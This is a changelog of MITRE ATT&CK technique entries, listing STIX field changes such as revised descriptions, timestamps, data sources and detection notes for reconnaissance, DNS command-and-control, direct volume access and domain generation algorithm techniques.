| description | Before compromising a victim, adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:40:15.564000+00:00 | 2022-04-01 18:25:13.952000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_data_sources[2] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | System calls | Process: Process Creation |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:46:23.547000+00:00 | 2021-04-22 20:20:14.595000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ExtraHop | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's DNS th |
| > | tion about the victim's DNS that can be used during targetin | > | at can be used during targeting. DNS information may include | ||
| > | g. DNS information may include a variety of details, includi | > | a variety of details, including registered name servers as | ||
| > | ng registered name servers as well as records that outline a | > | well as records that outline addressing for a target’s subdo | ||
| > | ddressing for a target’s subdomains, mail servers, and other | > | mains, mail servers, and other hosts. Adversaries may gathe | ||
| > | hosts. Adversaries may gather this information in various | > | r this information in various ways, such as querying or othe | ||
| > | ways, such as querying or otherwise collecting details via [ | > | rwise collecting details via [DNS/Passive DNS](https://attac | ||
| > | DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/0 | > | k.mitre.org/techniques/T1596/001). DNS information may also | ||
| > | 01). DNS information may also be exposed to adversaries via | > | be exposed to adversaries via online or other accessible dat | ||
| > | online or other accessible data sets (ex: [Search Open Techn | > | a sets (ex: [Search Open Technical Databases](https://attack | ||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)). | > | .mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citat | ||
| > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gather | > | ion: Circl Passive DNS) Gathering this information may revea | ||
| > | ing this information may reveal opportunities for other form | > | l opportunities for other forms of reconnaissance (ex: [Sear | ||
| > | s of reconnaissance (ex: [Search Open Technical Databases](h | > | ch Open Technical Databases](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1596), [Search Open Webs | > | ques/T1596), [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593), or | > | itre.org/techniques/T1593), or [Active Scanning](https://att | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595 | > | ack.mitre.org/techniques/T1595)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Acquire Infrast | > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | ||
| > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | ||
| > | romise Infrastructure](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1584)), and/or initial access | ||
| > | 1584)), and/or initial access (ex: [External Remote Services | > | (ex: [External Remote Services](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1133)). | > | hniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:02:39.701000+00:00 | 2021-04-15 03:29:18.740000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may set up their o | t | 1 | Adversaries may set up their own Domain Name System (DNS) se |
| > | wn Domain Name System (DNS) servers that can be used during | > | rvers that can be used during targeting. During post-comprom | ||
| > | targeting. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize DNS traffic for variou | ||
| > | utilize DNS traffic for various tasks, including for Command | > | s tasks, including for Command and Control (ex: [Application | ||
| > | and Control (ex: [Application Layer Protocol](https://attac | > | Layer Protocol](https://attack.mitre.org/techniques/T1071)) | ||
| > | k.mitre.org/techniques/T1071)). Instead of hijacking existin | > | . Instead of hijacking existing DNS servers, adversaries may | ||
| > | g DNS servers, adversaries may opt to configure and run thei | > | opt to configure and run their own DNS servers in support o | ||
| > | r own DNS servers in support of operations. By running thei | > | f operations. By running their own DNS servers, adversaries | ||
| > | r own DNS servers, adversaries can have more control over ho | > | can have more control over how they administer server-side | ||
| > | w they administer server-side DNS C2 traffic ([DNS](https:// | > | DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1071/004)). With control over a | > | 071/004)). With control over a DNS server, adversaries can c | ||
| > | DNS server, adversaries can configure DNS applications to p | > | onfigure DNS applications to provide conditional responses t | ||
| > | rovide conditional responses to malware and, generally, have | > | o malware and, generally, have more flexibility in the struc | ||
| > | more flexibility in the structure of the DNS-based C2 chann | > | ture of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2 | ||
| > | el.(Citation: Unit42 DNS Mar 2019) | > | 019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 00:11:26.376000+00:00 | 2021-04-15 02:49:49.702000+00:00 |
| description | Before compromising a victim, adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) | Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search DNS dat | t | 1 | Adversaries may search DNS data for information about victim |
| > | a for information about victims that can be used during targ | > | s that can be used during targeting. DNS information may inc | ||
| > | eting. DNS information may include a variety of details, inc | > | lude a variety of details, including registered name servers | ||
| > | luding registered name servers as well as records that outli | > | as well as records that outline addressing for a target’s s | ||
| > | ne addressing for a target’s subdomains, mail servers, and o | > | ubdomains, mail servers, and other hosts. Adversaries may s | ||
| > | ther hosts. Adversaries may search DNS data to gather actio | > | earch DNS data to gather actionable information. Threat acto | ||
| > | nable information. Threat actors can query nameservers for a | > | rs can query nameservers for a target organization directly, | ||
| > | target organization directly, or search through centralized | > | or search through centralized repositories of logged DNS qu | ||
| > | repositories of logged DNS query responses (known as passiv | > | ery responses (known as passive DNS).(Citation: DNS Dumpster | ||
| > | e DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) | > | )(Citation: Circl Passive DNS) Adversaries may also seek and | ||
| > | Adversaries may also seek and target DNS misconfigurations/ | > | target DNS misconfigurations/leaks that reveal information | ||
| > | leaks that reveal information about internal networks. Infor | > | about internal networks. Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Victim-Owned Websites] | > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1594) or [Search Open | > | niques/T1594) or [Search Open Websites/Domains](https://atta | ||
| > | Websites/Domains](https://attack.mitre.org/techniques/T1593) | > | ck.mitre.org/techniques/T1593)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133) or [Trusted Rela | > | niques/T1133) or [Trusted Relationship](https://attack.mitre | ||
| > | tionship](https://attack.mitre.org/techniques/T1199)). | > | .org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:40.584000+00:00 | 2021-04-15 03:49:13.409000+00:00 |
| description | Before compromising a victim, adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:26:44.566000+00:00 | 2022-04-19 21:32:58.274000+00:00 |
| external_references[1]['source_name'] | US-CERT-TA18-106A | Cisco Advisory SNMP v3 Authentication Vulnerabilities |
| external_references[1]['description'] | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. | Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-106A | https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 |
| external_references[3]['source_name'] | Cisco Advisory SNMP v3 Authentication Vulnerabilities | US-CERT-TA18-106A |
| external_references[3]['description'] | Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:42:23.122000+00:00 | 2022-05-05 04:05:42.508000+00:00 |
| external_references[1]['source_name'] | Malwarebytes Targeted Attack against Saudi Arabia | Volexity PowerDuke November 2016 |
| external_references[1]['description'] | Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017. | Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. |
| external_references[1]['url'] | https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ | https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ |
| external_references[2]['source_name'] | Carbon Black Obfuscation Sept 2016 | Malwarebytes Targeted Attack against Saudi Arabia |
| external_references[2]['description'] | Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. | Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017. |
| external_references[2]['url'] | https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ | https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ |
| external_references[3]['source_name'] | Volexity PowerDuke November 2016 | Carbon Black Obfuscation Sept 2016 |
| external_references[3]['description'] | Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. | Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. |
| external_references[3]['url'] | https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ | https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_defense_bypassed[1] | Host intrusion prevention systems | Host Intrusion Prevention Systems |
| x_mitre_defense_bypassed[2] | Signature-based detection | Signature-based Detection |
| x_mitre_defense_bypassed[3] | Network intrusion detection system | Network Intrusion Detection System |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public digital certificate data for i |
| > | digital certificate data for information about victims that | > | nformation about victims that can be used during targeting. | ||
| > | can be used during targeting. Digital certificates are issue | > | Digital certificates are issued by a certificate authority ( | ||
| > | d by a certificate authority (CA) in order to cryptographica | > | CA) in order to cryptographically verify the origin of signe | ||
| > | lly verify the origin of signed content. These certificates, | > | d content. These certificates, such as those used for encryp | ||
| > | such as those used for encrypted web traffic (HTTPS SSL/TLS | > | ted web traffic (HTTPS SSL/TLS communications), contain info | ||
| > | communications), contain information about the registered o | > | rmation about the registered organization such as name and l | ||
| > | rganization such as name and location. Adversaries may sear | > | ocation. Adversaries may search digital certificate data to | ||
| > | ch digital certificate data to gather actionable information | > | gather actionable information. Threat actors can use online | ||
| > | . Threat actors can use online resources and lookup tools to | > | resources and lookup tools to harvest information about cer | ||
| > | harvest information about certificates.(Citation: SSLShoppe | > | tificates.(Citation: SSLShopper Lookup) Digital certificate | ||
| > | r Lookup) Digital certificate data may also be available fro | > | data may also be available from artifacts signed by the orga | ||
| > | m artifacts signed by the organization (ex: certificates use | > | nization (ex: certificates used from encrypted web traffic a | ||
| > | d from encrypted web traffic are served with content).(Citat | > | re served with content).(Citation: Medium SSL Cert) Informat | ||
| > | ion: Medium SSL Cert) Information from these sources may rev | > | ion from these sources may reveal opportunities for other fo | ||
| > | eal opportunities for other forms of reconnaissance (ex: [Ac | > | rms of reconnaissance (ex: [Active Scanning](https://attack. | ||
| > | tive Scanning](https://attack.mitre.org/techniques/T1595) or | > | mitre.org/techniques/T1595) or [Phishing for Information](ht | ||
| > | [Phishing for Information](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1598)), establishing oper | ||
| > | ues/T1598)), establishing operational resources (ex: [Develo | > | ational resources (ex: [Develop Capabilities](https://attack | ||
| > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | ||
| > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1588)), and/or initial access | ||
| > | T1588)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Trusted Re | > | chniques/T1133) or [Trusted Relationship](https://attack.mit | ||
| > | lationship](https://attack.mitre.org/techniques/T1199)). | > | re.org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:15.289000+00:00 | 2021-04-15 03:48:37.628000+00:00 |
| description | Before compromising a victim, adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-30 22:27:39.932000+00:00 | 2021-02-09 14:09:00.753000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_detection | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended. | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Drive: Drive Access |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 13:42:34.402000+00:00 | 2021-10-13 14:05:14.784000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Process: OS API Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may make use of Domain Generation Algorithms (DG | t | 1 | Adversaries may make use of Domain Generation Algorithms (DG |
| > | As) to dynamically identify a destination domain for command | > | As) to dynamically identify a destination domain for command | ||
| > | and control traffic rather than relying on a list of static | > | and control traffic rather than relying on a list of static | ||
| > | IP addresses or domains. This has the advantage of making i | > | IP addresses or domains. This has the advantage of making i | ||
| > | t much harder for defenders block, track, or take over the c | > | t much harder for defenders to block, track, or take over th | ||
| > | ommand and control channel, as there potentially could be th | > | e command and control channel, as there potentially could be | ||
| > | ousands of domains that malware can check for instructions.( | > | thousands of domains that malware can check for instruction | ||
| > | Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrel | > | s.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umb | ||
| > | la DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the f | > | rella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take th | ||
| > | orm of apparently random or “gibberish” strings (ex: istgmxd | > | e form of apparently random or “gibberish” strings (ex: istg | ||
| > | ejdnxuyla.ru) when they construct domain names by generating | > | mxdejdnxuyla.ru) when they construct domain names by generat | ||
| > | each letter. Alternatively, some DGAs employ whole words as | > | ing each letter. Alternatively, some DGAs employ whole words | ||
| > | the unit by concatenating words together instead of letters | > | as the unit by concatenating words together instead of lett | ||
